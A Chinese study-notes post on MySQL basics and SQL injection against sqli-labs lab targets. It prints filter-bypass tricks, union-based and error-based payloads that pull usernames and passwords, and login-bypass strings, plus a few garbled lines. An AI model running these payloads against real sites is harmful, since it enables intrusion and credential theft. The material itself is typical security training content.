她其实并不喜欢你,只是在寂寞的时候,你刚好撞上去,刚好你对她好,刚好你能入她眼,刚好她来着不拒,这所有都是刚好。。。

---- 网易云热评

一、MYSQL语句

创建数据库

create database test;

选择要操作的数据库

user test

创建表

create table aiyou ( id int, username varchar(20), password varchar(30));

向表中插入数据

insert into aiyou values(1,'admin','456');

insert into aiyou values(2,'boss','123');

insert into aiyou values(3,'ttt','123'),(3,'qqq','321'');

显示aiyou表中的所有记录

select * from aiyou;

从aiyou表中查找满足条件id=1的记录

select * from aiyou where id=1;

从aiyou表中查找满足条件id=1的记录,并只显示username和password字段内容

select username,password from aiyou where id=1;

从aiyou表中查找同时满足条件id=1以及username=“admin”的记录

select * from aiyou where id=1 and username="admin";

从aiyou表中查找同时满足条件id=1或者username=“boss”的记录

select * from aiyou where id=1 or username="boss";

drop database test;删除数据库

drop table test;删除表格

update aiyou set password='111' where username='boss' 更新数据

delete from aiyou where username='boss'; 删除数据

select load_file('c:/111.txt'); 读文件

show databases; 显示当前数据库

show tables;显示选择的数据的所有表

show create table aiyou G;显示表结构的详细数据

describe 表名;显示表结构,大写可以自动补全

select database(); 显示当前数据库

select version() 显示数据库版本

select user() 显示当前用户

select now();显示当前时间

select system_user();获取系统用户名

select current_user();获取当前用户名

select session_user();连接数据库的用户名

select @@datadir; 读取数据库路径

select @@basedir;mysql安装路径

select @@version_compile_os; 操作系统

二、数据库连接

$dbhost = 'localhost'; // mysql服务器主机地址

$dbuser = 'root'; // mysql用户名

$dbpass = 'root'; // mysql用户名密码

$conn = mysqli_connect($dbhost, $dbuser, $dbpass);

if(! $conn )

{ die('Could not connect: ' . mysqli_error());

}

echo '数据库连接成功!';

mysqli_close($conn);

?>

三、防注入绕过

目标:http://www.aiyou .com?id=1

1、大小写绕过

http://www.aiyou .com?id=1 And 1=1

2、双写绕过

http://www.aiyou .com?id=1 aandnd 1=1

3、%00绕过

http://www.aiyou .com?id=1 a%00nd 1=1

四、手工注入

1、http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=1 返回正常

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 返回错误,说明存在注入

2、判断列数

http://192.168.21.140/sqli/Less-2/index.php?id=1 order by 3 返回正常,4返回返回错误,说明存在三列

3、联合查询

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,2,3 将2或3输入我们想要查询的内容

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,version(),database(),获取当前数据库及数据库版本

4、获取表名

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' 获取security数据库下的表名

5、获取列名

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' 获取users表下的列名

6、获取字段内容

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from users

五、报错注入

1、获取数据库用户

http://192.168.21.137/sqli/Less-1/index.php?id=1' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user()limit 0,1))a from information_schema.tables group by a)b --+

2、获取数据库名称

http://192.168.21.137/sqli/Less-1/index.php?id=1' union select 1 from (select count(*),concat(floor(rand(0)*2),(select database()limit 0,1))a from information_schema.tables group by a)b --+

http://192.168.21.137/sqli/Less-1/index.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

3、获取当前数据库名称,返回的是一个十六进制,需要还原

http://192.168.21.137/sqli/Less-1/index.php?id=1' and (select 1 from(select count(*),concat((select(select concat(0x7e,0x27,hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

4、获取表名

http://192.168.21.137/sqli/Less-1/index.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

5、获取字段

http://192.168.21.137/sqli/Less-1/index.php?id=1'and(select 1 from(select count(*),concat((select(select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

6、获取字段内容

http://192.168.21.137/sqli/Less-1/index.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x7e,password,0x27,0x7e) FROM users LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

六、后台绕过

1、admin'#

2、admin' or 1=1 #

3、'or'='or'

4、admin' or '1'='1

5、admin' #

七、获取网站的根沐浴露

1、报错显示

2、site:目标网站 warning

3、遗留文件phpinfo

4、漏洞爆路径

5、读取配置文件

禁止非法,后果自负

欢迎关注公众号:web安全工具库

数据库表名大小写_某教程学习笔记(一):09、MYSQL数据库漏洞相关推荐

  1. mysql 吧库下的表名都加_mysql数据库表名大小写问题

    mysql数据库表名大小写问题 mysql数据库linux版本表名.字段名默认大小写敏感,即区分大小写. 查看mysql有关大小写参数: lower_case_file_system是一个只读参数,无 ...

  2. C#学习笔记----C#连接MySQL数据库

    C#学习笔记----C#连接MySQL数据库 using System.Linq; using System.Text; using System.Data;// 引用表的命名空间 using Sys ...

  3. 【Linux学习笔记22】mysql数据库的基本管理

    文章目录 1. 数据库的介绍 2. 安装mysql并启用 3. 软件基本信息 4. 数据库的安全初始化 4.1 关闭数据库开放端口 4.2 执行安全初始化脚本 5. 数据库基本管理 5.1 数据库查看 ...

  4. python如何修改excel数据库_python学习笔记-day7-2-【python从mysql数据库导数据到excel,读excel,修改excel】...

    这节说下如何用python把数据库里的数据导出到excel里,并如何读取excel, 修必excel等操作. 一.用python把数据库里的数据导出到excel里 1.导入如下的模块,没有的话需要安装 ...

  5. mysql请假表需要什么_课内资源 - 基于JSP和MYSQL数据库实现的请假管理系统

    1 系统概述 1.1 系统说明 该系统用于海宁市医院的员工请假的专用请假系统,将员工请假的申请.审批.查询流程规范化,并进行必要的记录,为后面奖金的发放和人事升迁做参考. 同时该系统还支持管理员对用户 ...

  6. 绕过安全狗_某教程学习笔记(一):23、WAF绕过

    我睡了一下午,醒的时候发现,屋子里黑漆漆的,一点声音都没有,抬头望了望窗户,天还没完全黑,四处摸摸,在枕头下找到手机,打开屏幕,干净,没有一条信息... 一.目录扫描绕过WAF 1.dirbuster ...

  7. 【数据库学习笔记】03 MySQL数据库CURD整理大全

    2018.5.10 修 String 日期存入数据库的Date日期 1.MySQL语句方式 to_date(#{birthday},'YYYY/MM/DD') 2018.4.12 一:数据表操作 创建 ...

  8. Go语言学习笔记—golang操作MySQL数据库

    文章目录 一 准备数据库和表 二 安装配置mysql驱动 三 获得数据库连接 3.1 导入包 3.2 获得连接 3.3 初始化连接 四 插入数据 五 查询数据 5.1 单行查询 5.2 多行查询 六 ...

  9. list 根据某个数字所在位置_【Python学习笔记】09、使用list和tuple

    list Python内置的列表数据类型是:list.list是一种有序的集合,可以随时添加和删除其中的元素.如: >>> classmates = ['Kuaie', 'Bob', ...

最新文章

  1. AI求解薛定谔方程,兼具准确度和计算效率,登上《自然-化学》
  2. springcloud分布式事务_Springcloud 分布式事务集成Naco Seata
  3. 【 MATLAB 】MATLAB 实现模拟信号采样后的重建(三)一阶保持(FOH)内插
  4. 什么技术能改变世界?
  5. vue.js axios实现跨域http请求接口
  6. 第1篇--基于jdk7和jdk8分析 JVM的内存区域
  7. Lec 16 Projection matrices and least squares
  8. 思科6000系列交换机配置维护手册
  9. 机器学习岗面试准备提纲笔记
  10. 模拟电子技术知识点总结
  11. 程序员的Win10必备软件
  12. windows下批量创建txt文件
  13. 华为计算机复制怎么删,华为电脑复制粘贴快捷键
  14. c# chart 各个属性_C# Chart各个属性详细解析、应用
  15. 计量单位报错:消息号BM305 “未使用语言 ZH 创建单位 XXX”
  16. 封装了一个加单的php验证码功能类,超级详细,麻雀虽小五脏俱全
  17. 国内10个最佳PS教程网站
  18. 【c语言学习课堂笔记第三天】:int函数有符号整型和无符号整型
  19. 威客---猪八戒http://www.zhubajie.com/
  20. 如何将matlab中的变量数据导出至excel中

热门文章

  1. Opencv——图像膨胀
  2. 安卓逆向_22( 二 ) --- Xposed 学习记录
  3. 用python控制键盘_【python黑科技-pyautogui】教你用python控制滑鼠与键盘
  4. C10K 非阻塞 Web 服务器
  5. Guice之Servlet基础
  6. redis单线程为什么还快的个人解释
  7. 通过AVFoundation框架获取摄像头数据
  8. 现代软件工程 第十七章 【人、绩效和职业道德】 练习与讨论
  9. python decimal用法_Python decimal模块使用方法详解
  10. 关于HTML的盒子的一些小问题